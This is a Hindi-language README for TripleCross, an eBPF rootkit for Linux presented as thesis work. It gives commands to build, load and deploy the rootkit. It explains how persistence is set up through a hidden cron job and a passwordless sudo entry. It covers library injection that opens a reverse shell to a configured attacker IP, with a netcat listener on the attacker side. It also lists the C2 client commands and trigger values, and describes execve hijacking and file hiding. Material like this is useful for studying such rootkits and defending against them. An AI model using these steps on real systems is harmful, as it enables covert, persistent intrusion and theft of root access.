
एक Linux eBPF रूटकिट जिसमें बैकडोर, C2, लाइब्रेरी इंजेक्शन, एक्ज़ीक्यूशन हाईजैकिंग, पर्सिस्टेंस और स्टील्थ क्षमताएं हैं।
TripleCross एक Linux eBPF रूटकिट है जो eBPF तकनीक की आक्रामक क्षमताओं को प्रदर्शित करता है।
TripleCross इस क्षेत्र में पिछले इम्प्लांट डिज़ाइनों से प्रेरित है, विशेष रूप से DEFCON 271 में Jeff Dileo, DEFCON 292 में Pat Hogan, DEFCON 29 में Guillaume Fournier और Sylvain Afchain3, और Kris Nóva के Boopkit4 के कार्यों से। हम eBPF तकनीक की आक्रामक क्षमताओं की इन पिछली खोजों द्वारा अग्रणी की गई कुछ तकनीकों का पुन: उपयोग और विस्तार करते हैं।
यह रूटकिट UC3M में मेरे स्नातक थीसिस के लिए बनाया गया था। इसके डिज़ाइन के बारे में अधिक विवरण थीसिस दस्तावेज़ में दिए गए हैं।
यह रूटकिट पूरी तरह से शैक्षिक और अकादमिक उद्देश्यों के लिए है। सॉफ्टवेयर "जैसा है" प्रदान किया गया है और लेखक इसके उपयोग के दौरान होने वाली किसी भी क्षति या दुर्घटना के लिए जिम्मेदार नहीं हैं।
कानून का उल्लंघन करने के लिए TripleCross का उपयोग करने का प्रयास न करें। प्रदान किए गए सॉफ़्टवेयर और जानकारी का दुरुपयोग आपराधिक आरोपों का कारण बन सकता है।
निम्नलिखित चित्र TripleCross और इसके मॉड्यूल की वास्तुकला दिखाता है।
रूटकिट ट्रांसमिशन के लिए उपयोग की जाने वाली रॉ सॉकेट लाइब्रेरी RawTCP_Lib मेरी लेखनी है और इसका अपना रिपॉजिटरी है।
निम्नलिखित तालिका नेविगेशन को आसान बनाने के लिए मुख्य स्रोत कोड फ़ाइलों और निर्देशिकाओं का वर्णन करती है:
यह शोध परियोजना निम्नलिखित वातावरणों में परीक्षण की गई है:
| वितरण | कर्नेल | GCC | CLANG | GLIBC | |
|---|---|---|---|---|---|
| संस्करण | Ubuntu 21.04 | 5.11.0 | 10.3.0 | 12.0.0 | 2.33 |
हम Ubuntu 21.04 का उपयोग करने की सलाह देते हैं, जो डिफ़ॉल्ट रूप से यहाँ दिखाए गए सॉफ़्टवेयर संस्करणों को शामिल करेगा। अन्यथा, आपको जिन समस्याओं का सामना करना पड़ सकता है, उनमें से कुछ का वर्णन यहाँ किया गया है।
रूटकिट स्रोत कोड दो Makefiles का उपयोग करके संकलित किया जाता है।```
cd src make all
cd client make
निम्नलिखित तालिका प्रत्येक Makefile के उद्देश्य का विस्तार से वर्णन करती है:
| MAKEFILE | COMMAND | DESCRIPTION | RESULTING FILES |
| ------------- | ------------- | ------------- | ------------- |
| src/client/Makefile | make | रूटकिट क्लाइंट का संकलन | src/client/injector |
| src/Makefile | make help | रूटकिट क्षमताओं के परीक्षण के लिए प्रोग्रामों का संकलन, और क्रमशः निष्पादन अपहरण और लाइब्रेरी इंजेक्शन मॉड्यूल के दुर्भावनापूर्ण प्रोग्राम और लाइब्रेरी | src/helpers/simple_timer, src/helpers/simple_open, src/helpers/simple_execve, src/helpers/lib_injection.so, src/helpers/execve_hijack |
| src/Makefile | make kit | libbpf लाइब्रेरी का उपयोग करके रूटकिट का संकलन | src/bin/kit |
| src/Makefile | make tckit | रूटकिट TC एग्रेस प्रोग्राम का संकलन | src/bin/tc.o |
### स्थापना
एक बार रूटकिट फ़ाइलें src/bin/ के अंतर्गत उत्पन्न हो जाने पर, *tc.o* और *kit* प्रोग्रामों को क्रम में लोड किया जाना चाहिए। निम्नलिखित उदाहरण में, रूटकिट बैकडोर नेटवर्क इंटरफ़ेस *enp0s3* पर संचालित होगा:```
// TC egress program
sudo tc qdisc add dev enp0s3 clsact
sudo tc filter add dev enp0s3 egress bpf direct-action obj bin/tc.o sec classifier/egress
// Libbpf-powered rootkit
sudo ./bin/kit -t enp0s3
दो स्क्रिप्ट हैं, packager.sh और deployer.sh, जो रूटकिट को स्वचालित रूप से संकलित और इंस्टॉल करती हैं, जैसा कि कोई हमलावर वास्तविक आक्रमण परिदृश्य में करेगा।
packager.sh को निष्पादित करने पर apps/ निर्देशिका के अंतर्गत सभी रूटकिट फ़ाइलें उत्पन्न होंगी।
deployer.sh को निष्पादित करने पर रूटकिट इंस्टॉल होगा और पर्सिस्टेंस फ़ाइलें बनेंगी।
पर्सिस्टेंस मॉड्यूल के उचित कामकाज के लिए इन स्क्रिप्ट्स को पहले निम्नलिखित पैरामीटर से कॉन्फ़िगर किया जाना चाहिए:
| स्क्रिप्ट | कॉन्स्टेंट | विवरण |
|---|---|---|
| src/helpers/deployer.sh | CRON_PERSIST | रीबूट के बाद निष्पादित करने के लिए क्रोन जॉब |
| src/helpers/deployer.sh | SUDO_PERSIST | पासवर्ड-रहित विशेषाधिकार प्रदान करने के लिए sudo एंट्री |
रूटकिट उन प्रक्रियाओं के निष्पादन को हाईजैक कर सकता है जो sys_timerfd_settime या sys_openat सिस्टम कॉल को कॉल करती हैं। यह कॉल करने वाली प्रक्रिया के वर्चुअल मेमोरी पर ग्लोबल ऑफ़सेट टेबल (GOT) सेक्शन को ओवरराइट करके प्राप्त किया जाता है। इससे एक दुर्भावनापूर्ण लाइब्रेरी (src/helpers/injection_lib.c) निष्पादित होती है। लाइब्रेरी हमलावर मशीन पर एक रिवर्स शेल स्पॉन करेगी, और फिर क्रैश किए बिना प्रक्रिया के निष्पादन प्रवाह को मूल फ़ंक्शन पर लौटा देगी।
TripleCross सामान्य ELF हार्डनिंग तकनीकों को बायपास करने के लिए तैयार है, जिनमें शामिल हैं:
यह Intel CET-संगत कोड के साथ काम करने के लिए भी तैयार है।
मॉड्यूल की कार्यक्षमता को दो टेस्ट प्रोग्राम src/helpers/simple_timer.c और src/helpers/simple_open.c का उपयोग करके जांचा जा सकता है। वैकल्पिक रूप से आप किसी भी सिस्टम प्रक्रिया को हाईजैक करने का प्रयास कर सकते हैं (systemd के साथ परीक्षण किया गया और काम करता है)।
मॉड्यूल कॉन्फ़िगरेशन निम्नलिखित कॉन्स्टेंट के माध्यम से सेट किया जाता है:
| फ़ाइलनाम |
|---|
हमलावर मशीन से रिवर्स शेल प्राप्त करना netcat के साथ किया जा सकता है:``` nc -nlvp <ATTACKER_PORT>
### GOT अपहरण तकनीक के माध्यम से लाइब्रेरी इंजेक्शन
TripleCross में शामिल तकनीक में 5 चरण शामिल हैं:
#### GOT और रिटर्न पता ढूँढना
रूटकिट ट्रेसपॉइंट प्रोग्राम का उपयोग करके सिस्टम कॉल को हुक करता है। वहाँ से, यह GOT अनुभाग पर उस पते का पता लगाता है जिसका उपयोग PLT स्टब ने glibc फ़ंक्शन को कॉल करने के लिए किया था जो सिस्कॉल के लिए जिम्मेदार है।
GOT अनुभाग तक पहुँचने के लिए, eBPF प्रोग्राम स्टैक पर संग्रहीत रिटर्न पते का उपयोग करता है। ध्यान दें:
* .text, .plt पर एक *कॉल* करता है, इसलिए *rip* को स्टैक में *ret* के रूप में सहेजा जाता है।
* .plt, .got का उपयोग करके glibc पर एक *जंप* करता है, इसलिए कोई अन्य *rip* सहेजा नहीं जाता। यह *rbp* के मान को संशोधित या सहेजता भी नहीं है।
* Glibc एक *syscall* करता है, जो *rip* को स्टैक में नहीं बल्कि *rcx* में सहेजता है।
<img src="https://assets.kitploit.com/production/public/readmes/5614/d216fa5b7b656bb52587027db28f3e3902fa8389d0b2944a1f7e870d6d2e6bee.jpg" float="left">
इसलिए eBPF से यह जाँचने के लिए कि स्टैक में एक पता वह रिटर्न पता है जो हमें सही GOT तक ले जाएगा, हमें यह जाँचना होगा कि यह PLT स्टब का रिटर्न पता है जो GOT पते का उपयोग करता है और glibc फ़ंक्शन पर जाता है जो उस सिस्टम कॉल को करता है जिसे हमने eBPF से हुक किया था।
रिटर्न पता खोजने की दो तकनीकें शामिल की गई हैं:
* sys_timerfd_settime के साथ, eBPF प्रोग्राम syscall तर्कों का उपयोग करके स्कैन में आगे स्कैन करता है।
* sys_openat के साथ, eBPF प्रोग्राम रिटर्न पते की स्कैनिंग के लिए ट्रेसपॉइंट्स के *pt_regs* स्ट्रक्चर पर डेटा का उपयोग करता है।
<img src="https://assets.kitploit.com/production/public/readmes/5614/61217fb3fd84bec65cbbee906dd27860e5e1c211912cfe450ea4cf9051fa480b.png" float="left">
#### शेलकोड के लिए मुख्य फ़ंक्शन ढूँढना
शेलकोड को ASLR और PIE को बायपास करने के लिए गतिशील रूप से उत्पन्न किया जाना चाहिए, जो प्रत्येक प्रोग्राम निष्पादन पर dlopen() जैसे फ़ंक्शन के पते को बदलते हैं।
<img src="https://assets.kitploit.com/production/public/readmes/5614/6cbb620495d8cb9711e499fd5b1ae9ea845c03d0c33019cf008b456a95d5ddd6.png" float="left">
#### कोड केव में शेलकोड इंजेक्ट करना
यदि ASLR और PIE बंद हैं तो ELF को रिवर्स इंजीनियर करके एक कोड केव पाया जा सकता है, लेकिन आमतौर पर ऐसा नहीं होता। eBPF प्रोग्राम एक यूज़र स्पेस रूटकिट प्रोग्राम को एक अनुरोध भेजता है जो .text (निष्पादन योग्य) अनुभाग पर एक कोड केव का पता लगाने और उसमें लिखने के लिए /proc फाइलसिस्टम का उपयोग करता है।
<img src="https://assets.kitploit.com/production/public/readmes/5614/c7daea0eed684437b5c7d971d0f69f5aac9138861d44da36c5368be9f97666d1.png" float="left">
#### GOT अनुभाग को अधिलेखित करना
निष्पादन योग्य पर Partial या Full RELRO सक्रिय है या नहीं, इस पर निर्भर करते हुए, eBPF प्रोग्राम सीधे या /proc फाइलसिस्टम के साथ GOT अनुभाग को अधिलेखित करता है।
<img src="https://assets.kitploit.com/production/public/readmes/5614/7e69ec2982ee8c77c39b42f364ab25e52c40d96890f7413b3afe04dde1b825c3.png" float="left">
#### अगले सिस्टम कॉल की प्रतीक्षा करना
जब अपहृत प्रोग्राम में अगला syscall जारी किया जाता है, तो PLT अनुभाग संशोधित GOT अनुभाग का उपयोग करता है, निष्पादन प्रवाह को अपहृत करता है जो कोड केव में शेलकोड पर रीडायरेक्ट हो जाता है। शेलकोड प्रोग्राम को क्रैश होने से बचाने के लिए तैयार होता है, और दुर्भावनापूर्ण लाइब्रेरी (*src/helpers/lib_injection.so*) को कॉल करता है। यह लाइब्रेरी fork() जारी करती है और हमलावर मशीन के साथ एक रिवर्स शेल उत्पन्न करती है। बाद में निष्पादन प्रवाह बहाल हो जाता है।
<img src="https://assets.kitploit.com/production/public/readmes/5614/4e780cbcba855fe11a55f6a34709d83d855a4235960b15b69470233147f04318.png" float="left">
## बैकडोर और C2
बैकडोर बिना किसी कॉन्फ़िगरेशन की आवश्यकता के तुरंत काम करता है। बैकडोर को रूटकिट क्लाइंट प्रोग्राम का उपयोग करके दूरस्थ रूप से नियंत्रित किया जा सकता है:
| क्लाइंट आर्गुमेंट्स | कार्रवाई का विवरण |
| ------------- | ------------- |
| ./injector -c \<Victim IP\> | निष्पादन अपहरण मॉड्यूल का उपयोग करके एक प्लेनटेक्स्ट स्यूडो-शेल उत्पन्न करता है |
| ./injector -e \<Victim IP\> | पैटर्न-आधारित ट्रिगर के साथ बैकडोर को आदेश देकर एक एन्क्रिप्टेड स्यूडो-शेल उत्पन्न करता है |
| ./injector -s \<Victim IP\> | मल्टी-पैकेट ट्रिगर (दोनों प्रकारों के) के साथ बैकडोर को आदेश देकर एक एन्क्रिप्टेड स्यूडो-शेल उत्पन्न करता है |
| ./injector -p \<Victim IP\> | पैटर्न-आधारित ट्रिगर के साथ बैकडोर को आदेश देकर एक फैंटम शेल उत्पन्न करता है |
| ./injector -a \<Victim IP\> | रूटकिट को सभी eBPF प्रोग्राम सक्रिय करने का आदेश देता है |
| ./injector -u \<Victim IP\> | रूटकिट को अपने सभी eBPF प्रोग्राम डिटैच करने का आदेश देता है |
| ./injector -S \<Victim IP\> | प्रदर्शित करता है कि कैसे बैकडोर कर्नेल से एक संदेश छिपा सकता है (सरल PoC) |
| ./injector -h | सहायता प्रदर्शित करता है |
### बैकडोर ट्रिगर
बैकडोर को क्रियाएँ बैकडोर ट्रिगर का उपयोग करके भेजी जाती हैं, जो विशेषता **K3** के मान के आधार पर निष्पादित करने की क्रिया को इंगित करते हैं:
| K3 मान | क्रिया |
| ------------- | ------------- |
| 0x1F29 | एन्क्रिप्टेड स्यूडो-शेल कनेक्शन शुरू करने का अनुरोध |
| 0x4E14 | फैंटम शेल कनेक्शन शुरू करने का अनुरोध |
| 0x1D25 | सभी रूटकिट eBPF प्रोग्राम लोड और अटैच करने का अनुरोध |
| 0x1D24 | सभी रूटकिट eBPF प्रोग्राम डिटैच करने का अनुरोध (बैकडोर को छोड़कर) |
#### पैटर्न-आधारित ट्रिगर
यह ट्रिगर कमांड और क्लाइंट जानकारी को इस प्रकार छिपाता है कि इसे बैकडोर द्वारा पहचाना जा सके, लेकिन साथ ही यह बाहरी नेटवर्क पर्यवेक्षक के लिए पर्याप्त यादृच्छिक प्रतीत होता है। यह हाल ही में खोजे गए NSA रूटकिट [Bvp47](https://www.pangulab.cn/files/The_Bvp47_a_top-tier_backdoor_of_us_nsa_equation_group.en.pdf) द्वारा उपयोग किए गए ट्रिगर पर आधारित है।
<img src="https://assets.kitploit.com/production/public/readmes/5614/58cec7ee2dbd89b6c7d71d60c006a1a98d7b9165b20bdbe006467a82d5dc30ab.png" float="left">
#### मल्टी-पैकेट ट्रिगर
इस ट्रिगर में कई TCP पैकेट शामिल होते हैं जिनमें बैकडोर पेलोड पैकेट हेडर में छिपा होता है। यह डिज़ाइन Vault 7 लीक में वर्णित CIA [Hive](https://wikileaks.org/vault7/document/hive-DevelopersGuide/hive-DevelopersGuide.pdf) इम्प्लांट पर आधारित है। निम्नलिखित पेलोड का उपयोग किया जाता है:
<img src="https://assets.kitploit.com/production/public/readmes/5614/45a8348c3d366af4941d9cca845c281fc8c5a565353fc8fe3fb91350f39dd5f8.png" float="left">
उपरोक्त पेलोड पर एक रोलिंग XOR की गणना की जाती है और इसे रूटकिट क्लाइंट द्वारा चुने गए मोड के आधार पर कई भागों में विभाजित किया जाता है। TripleCross TCP अनुक्रम संख्या पर छिपे पेलोड का समर्थन करता है:
<img src="https://assets.kitploit.com/production/public/readmes/5614/2b9d7fd46f7133e3eeda694e0b4791fbed2a51616b7d2f14e989a9e0e56af9e2.png" float="left">
और TCP स्रोत पोर्ट पर:
<img src="https://assets.kitploit.com/production/public/readmes/5614/1a6ea6da628a9902eaf55cc3c1549a2ecf26cba211275acdce6bc5491b34140c.png" float="left">
### बैकडोर स्यूडो-शेल
क्लाइंट रूटकिट स्यूडो-शेल स्थापित कर सकता है, एक विशेष रूटकिट-से-रूटकिट क्लाइंट कनेक्शन जो शेल प्रोग्राम का अनुकरण करता है, जिससे हमलावर दूरस्थ रूप से लिनक्स कमांड निष्पादित कर सकता है और परिणाम प्राप्त कर सकता है जैसे कि वह उन्हें सीधे संक्रमित मशीन में निष्पादित कर रहा हो। हमारे रूटकिट में कई स्यूडो-शेल शामिल हैं:
#### प्लेनटेक्स्ट स्यूडो-शेल
यह शेल निष्पादन अपहरण मॉड्यूल के सफल रन के बाद उत्पन्न होता है, जो एक दुर्भावनापूर्ण फ़ाइल निष्पादित करेगा जो रूटकिट क्लाइंट के साथ निम्नानुसार कनेक्शन स्थापित करता है:
<img src="https://assets.kitploit.com/production/public/readmes/5614/6495b5b62c33ae136b8c965658d9c5f501e609029bde7fcefe7266966f8effbb.png" float="left">
<img src="https://assets.kitploit.com/production/public/readmes/5614/5301e208d9853760eabdc14772c57a3639f28d71d050ee82d151bff93a76cedf.png" float="right">
#### एन्क्रिप्टेड स्यूडो-शेल
रूटकिट क्लाइंट द्वारा किसी भी समय एक एन्क्रिप्टेड स्यूडो-शेल का अनुरोध किया जा सकता है, जिसमें रूटकिट और रूटकिट क्लाइंट के बीच एक TLS कनेक्शन शामिल होता है। एन्क्रिप्टेड कनेक्शन के अंदर, कमांड और जानकारी संचारित करने के लिए एक संचरण प्रोटोकॉल का पालन किया जाता है, जैसा कि प्लेनटेक्स्ट स्यूडो-शेल में होता है।
एक एन्क्रिप्टेड स्यूडो-शेल उत्पन्न करने के लिए बैकडोर को ट्रिगर के लिए सुनने की आवश्यकता होती है, जो पैटर्न-आधारित ट्रिगर या मल्टी-पैकेट ट्रिगर के दोनों प्रकारों को स्वीकार करता है:
<img src="https://assets.kitploit.com/production/public/readmes/5614/d4929247af8895f78522f28c4ac8087e74d76b91320c67e0b37ea841cd8869d0.png" float="left">
<img src="https://assets.kitploit.com/production/public/readmes/5614/6e2a72d04028212a4917397b75b052a4bdf3c0529fb6c5e336b7fc0a06571728.png" float="right">
#### फैंटम शेल
एक फैंटम शेल नेटवर्क पर eBPF की सीमाओं को दूर करने के लिए XDP और TC प्रोग्राम के संयोजन का उपयोग करता है, विशेष रूप से यह कि यह नए पैकेट उत्पन्न नहीं कर सकता। इसके लिए, बैकडोर मौजूदा ट्रैफ़िक को संशोधित करता है, पेलोड को C2 ट्रांसमिशन के डेटा से अधिलेखित करता है। मूल पैकेट खो नहीं जाते क्योंकि TCP रीट्रांसमिशन थोड़े समय के बाद मूल पैकेट (बिना संशोधन के) फिर से भेजते हैं।
निम्नलिखित प्रोटोकॉल फैंटम शेल का उपयोग करके एक कमांड के निष्पादन के दौरान ट्रैफ़िक को दर्शाता है:
<img src="https://assets.kitploit.com/production/public/readmes/5614/0aafe6b672757e4e9d37402c72ce14893a8a7f198030b2f2386df631c345d16b.png" float="left">
एक फैंटम शेल का अनुरोध रूटकिट क्लाइंट द्वारा किया जाता है जो बैकडोर द्वारा निष्पादित किए जाने वाले कमांड को जारी करता है:
<img src="https://assets.kitploit.com/production/public/readmes/5614/e07dec48ff6a22e708b6d4b0d762473cc6483f065011cd6cdccdac49f12f916b.png" float="left">
संक्रमित मशीन द्वारा कोई भी TCP पैकेट भेजने के बाद, बैकडोर इसे अधिलेखित कर देता है और क्लाइंट प्रतिक्रिया दिखाता है:
<img src="https://assets.kitploit.com/production/public/readmes/5614/19bea585b78a0bb1d52aa7c63ff05a0111551a0cc767732775491641e1dec021.png" float="left">
## निष्पादन अपहरण मॉड्यूल
सिद्धांत रूप में, एक eBPF प्रोग्राम स्वयं किसी प्रोग्राम के निष्पादन को शुरू नहीं कर सकता। यह मॉड्यूल दर्शाता है कि कैसे एक दुर्भावनापूर्ण रूटकिट यूज़र स्पेस में दुर्भावनापूर्ण कोड निष्पादित करने के लिए हानिरहित प्रोग्राम का लाभ उठा सकता है। यह मॉड्यूल दो लक्ष्य प्राप्त करता है:
* किसी अन्य प्रोग्राम के निष्पादन का लाभ उठाकर एक दुर्भावनापूर्ण यूज़र प्रोग्राम निष्पादित करना।
* यूज़र स्पेस के लिए पारदर्शी होना, अर्थात, यदि हम किसी प्रोग्राम के निष्पादन को इस प्रकार अपहृत करते हैं कि दूसरा चलाया जाए, तो मूल प्रोग्राम को भी कम से कम देरी के साथ निष्पादित किया जाना चाहिए।
यह मॉड्यूल sys_execve() syscall को अपहृत करके काम करता है, इसके तर्कों को इस प्रकार संशोधित करता है कि इसके बजाय एक दुर्भावनापूर्ण प्रोग्राम (*src/helpers/execve_hijack.c*) चलाया जाता है। यह संशोधन इस प्रकार किया जाता है कि दुर्भावनापूर्ण प्रोग्राम फिर यूज़र स्पेस में चिंता पैदा करने से बचने के लिए मूल प्रोग्राम को मूल तर्कों के साथ निष्पादित कर सकता है। निम्नलिखित आरेख समग्र कार्यक्षमता का सारांश प्रस्तुत करता है:
<img src="https://assets.kitploit.com/production/public/readmes/5614/601610696506e303f91a7957ec2a3d61f73f7d0e036430a9f67bd80a6f19b2d3.png" float="left">
मूल sys_execve() कॉल के तर्कों को इस प्रकार संशोधित किया जाता है कि मूल तर्क खो न जाएँ (argv[0] का उपयोग करके) ताकि दुर्भावनापूर्ण प्रोग्राम के बाद मूल प्रोग्राम को निष्पादित किया जा सके:
<img src="https://assets.kitploit.com/production/public/readmes/5614/e483317a3bdac422cdfc49ca92acdcefe624ddceb5b2ed036ccec141c8d1e5e6.png" float="left">
हमने निष्पादन अपहरण मॉड्यूल के परीक्षण के लिए एक नमूना परीक्षण प्रोग्राम (*src/helpers/simple_execve.c*) शामिल किया है। मॉड्यूल कॉन्फ़िगरेशन के आधार पर सिस्टम में किसी भी कॉल को अपहृत कर सकता है:
| फ़ाइल का नाम | स्थिरांक | विवरण |
| ------------- | ------------- | ------------- |
| src/common/constants.h | PATH_EXECUTION_HIJACK_PROGRAM | sys_execve कॉल को निष्पादित करने पर निष्पादित किए जाने वाले दुर्भावनापूर्ण प्रोग्राम का स्थान |
| src/common/constants.h | EXEC_HIJACK_ACTIVE | निष्पादन अपहरण मॉड्यूल को निष्क्रिय (0) या सक्रिय (1) करें |
| src/common/constants.h | TASK_COMM_RESTRICT_HIJACK_ACTIVE | किसी भी sys_execve कॉल को अपहृत करें (0) या केवल TASK_COMM_NAME_RESTRICT_HIJACK में संकेतित कॉल को (1) |
| src/common/constants.h | TASK_COMM_NAME_RESTRICT_HIJACK | उस प्रोग्राम का नाम जिससे sys_execve कॉल को अपहृत करना है |
एक सफल अपहरण के बाद, मॉड्यूल स्वयं को रोक देगा। दुर्भावनापूर्ण प्रोग्राम *execve_hijack* रूटकिट क्लाइंट से प्लेनटेक्स्ट स्यूडो-शेल के अनुरोधों को सुनेगा।
## रूटकिट स्थायित्व
संक्रमित मशीन के रीबूट होने के बाद, सभी eBPF प्रोग्राम कर्नेल से अनलोड हो जाएंगे और यूज़रलैंड रूटकिट प्रोग्राम मारा जाएगा। इसके अलावा, भले ही रूटकिट स्वचालित रूप से फिर से चलाया जा सके, उसे eBPF प्रोग्राम को फिर से अटैच करने के लिए आवश्यक रूट विशेषाधिकार प्राप्त नहीं होंगे। रूटकिट स्थायित्व मॉड्यूल इन दो चुनौतियों का समाधान करने का लक्ष्य रखता है:
* मशीन रीबूट घटना के बाद स्वचालित रूप से और उपयोगकर्ता सहभागिता के बिना रूटकिट निष्पादित करना।
* एक बार जब रूटकिट मशीन में पहली बार निष्पादित होने पर रूट विशेषाधिकार प्राप्त कर लेता है, तो उसे रीबूट के बाद भी उन्हें बनाए रखना चाहिए।
TripleCross इस कार्यक्षमता को लागू करने के लिए *cron.d* और *sudoers.d* के अंतर्गत बनाई गई दो गुप्त फ़ाइलों का उपयोग करता है। ये प्रविष्टियाँ सुनिश्चित करती हैं कि रीबूट के बाद रूटकिट स्वचालित रूप से और पूर्ण विशेषाधिकार के साथ लोड हो। ये फ़ाइलें *deployer.sh* स्क्रिप्ट द्वारा बनाई और प्रबंधित की जाती हैं:
<img src="https://assets.kitploit.com/production/public/readmes/5614/88500b779b9ad5ba771803900a8abfffd08f3a6be59518e690534779a4134cf8.png" float="left">
<img src="https://assets.kitploit.com/production/public/readmes/5614/5ae61ed98af6d7c8aa9448fed3de553712ffb5c63e95d98a6f4300ff407bce23.png" float="right">
स्क्रिप्ट में दो स्थिरांक हैं जिन्हें लक्ष्य प्रणाली पर संक्रमित करने के लिए उपयोगकर्ता के लिए कॉन्फ़िगर किया जाना चाहिए:
| स्क्रिप्ट | स्थिरांक | विवरण |
| ------------- | ------------- | ------------- |
| src/helpers/deployer.sh | CRON_PERSIST | रीबूट के बाद निष्पादित करने का क्रॉन जॉब |
| src/helpers/deployer.sh | SUDO_PERSIST | पासवर्ड-रहित विशेषाधिकार प्रदान करने के लिए sudo प्रविष्टि |
## रूटकिट गुप्तता
स्थायित्व मॉड्यूल अतिरिक्त फ़ाइलें बनाने पर आधारित है, लेकिन वे अंततः सिस्टम स्वामी या किसी सॉफ़्टवेयर टूल द्वारा पाई जा सकती हैं, इसलिए उन्हें सिस्टम में छोड़ने का जोखिम है। इसके अलावा, रूटकिट फ़ाइलों को किसी स्थान पर संग्रहीत करने की आवश्यकता होगी, जहाँ वे खोजी जा सकती हैं।
उपरोक्त को ध्यान में रखते हुए, गुप्तता मॉड्यूल निम्नलिखित कार्यक्षमता प्रदान करता है:
* एक निर्देशिका को उपयोगकर्ता से पूरी तरह छिपाएँ (ताकि हम अंदर सभी रूटकिट फ़ाइलों को छिपा सकें)।
* निर्देशिका में विशिष्ट फ़ाइलें छिपाएँ (हमें स्थायित्व फ़ाइलों को छिपाने की आवश्यकता है, लेकिन हम *sudoers.d* या *cron.d* निर्देशिकाओं को पूरी तरह छिपा नहीं सकते, क्योंकि वे सामान्य सिस्टम कार्यप्रणाली से संबंधित हैं)।
रूटकिट द्वारा छिपाई गई फ़ाइलें और निर्देशिकाएँ निम्नलिखित कॉन्फ़िगरेशन स्थिरांक द्वारा अनुकूलित की जा सकती हैं:
| फ़ाइल का नाम | स्थिरांक | विवरण |
| ------------- | ------------- | ------------- |
| src/common/constants.h | SECRET_DIRECTORY_NAME_HIDE | छिपाने के लिए निर्देशिका का नाम |
| src/common/constants.h | SECRET_FILE_PERSISTENCE_NAME | छिपाने के लिए फ़ाइल का नाम |
डिफ़ॉल्ट रूप से, TripleCross "*ebpfbackdoor*" नाम की किसी भी फ़ाइल और "*SECRETDIR*" नाम की एक निर्देशिका को छिपाएगा। यह मॉड्यूल रूटकिट स्थापना के बाद स्वचालित रूप से सक्रिय हो जाता है।
इस कार्यक्षमता को प्राप्त करने के लिए उपयोग की जाने वाली तकनीक में sys_getdents() सिस्टम कॉल के तर्कों के साथ छेड़छाड़ करना शामिल है:
<img src="https://assets.kitploit.com/production/public/readmes/5614/7f928351c1c07e7b6a534846c5374788449e03455191cddf8c7f02af2c885852.png" float="left">
## लाइसेंस
TripleCross रूटकिट और रूटकिट क्लाइंट GPLv3 लाइसेंस के तहत लाइसेंस प्राप्त हैं। देखें [LICENSE](https://github.com/h3xduck/TripleCross/blob/master/LICENSE)।
[RawTCP_Lib](https://github.com/h3xduck/RawTCP_Lib) लाइब्रेरी MIT लाइसेंस के तहत लाइसेंस प्राप्त है।
मूल थीसिस दस्तावेज़ और शामिल आंकड़े [Creative Commons BY-NC-ND 4.0](https://creativecommons.org/licenses/by-nc-nd/4.0/) के तहत जारी किए गए हैं।
J. Dileo. Evil eBPF: एक इन-कर्नेल बाइटकोड रनटाइम का व्यावहारिक दुरुपयोग। DEFCON 27. स्लाइड्स ↩
P. Hogan. वास्तविकता को विकृत करना: eBPF का उपयोग करके Linux रूटकिट्स की अगली पीढ़ी का निर्माण और प्रतिकार करना। DEFCON 27. प्रस्तुति ↩
G. Fournier and S. Afchain. eBPF, मुझे लगा हम दोस्त थे! DEFCON 29. स्लाइड्स ↩
| निर्देशिका | कमांड |
|---|
| docs | मूल थीसिस दस्तावेज़ |
| src/client | रूटकिट क्लाइंट का स्रोत कोड |
| src/client/lib | RawTCP_Lib साझा लाइब्रेरी |
| src/common | रूटकिट के लिए स्थिरांक और कॉन्फ़िगरेशन। इसमें रूटकिट के eBPF और उपयोगकर्ता स्पेस पक्ष के लिए सामान्य तत्वों का कार्यान्वयन भी शामिल है, जैसे रिंग बफर |
| src/ebpf | रूटकिट द्वारा उपयोग किए जाने वाले eBPF प्रोग्राम का स्रोत कोड |
| src/helpers | रूटकिट के कई मॉड्यूल की कार्यक्षमता का परीक्षण करने के लिए प्रोग्राम शामिल हैं, और क्रमशः निष्पादन अपहरण और लाइब्रेरी इंजेक्शन मॉड्यूल में उपयोग किए जाने वाले दुर्भावनापूर्ण प्रोग्राम और लाइब्रेरी भी शामिल हैं |
| src/libbpf | रूटकिट के साथ एकीकृत libbpf लाइब्रेरी शामिल है |
| src/user | रूटकिट द्वारा उपयोग किए जाने वाले उपयोगकर्ता स्पेस प्रोग्राम का स्रोत कोड |
| src/vmlinux | कर्नेल डेटा संरचनाओं की परिभाषा वाले हेडर (libbpf का उपयोग करते समय यह अनुशंसित विधि है) |
| कॉन्स्टेंट |
|---|
| विवरण |
|---|
| src/common/constants.h | TASK_COMM_NAME_INJECTION_ TARGET_TIMERFD_SETTIME | syscall sys_timerfd_settime पर हाईजैक करने के लिए प्रक्रिया का नाम |
| src/common/constants.h | TASK_COMM_NAME_INJECTION_ TARGET_OPEN | syscall sys_openat पर हाईजैक करने के लिए प्रक्रिया का नाम |
| src/helpers/injection_lib.c | ATTACKER_IP & ATTACKER_PORT | हमलावर मशीन का IP पता और पोर्ट |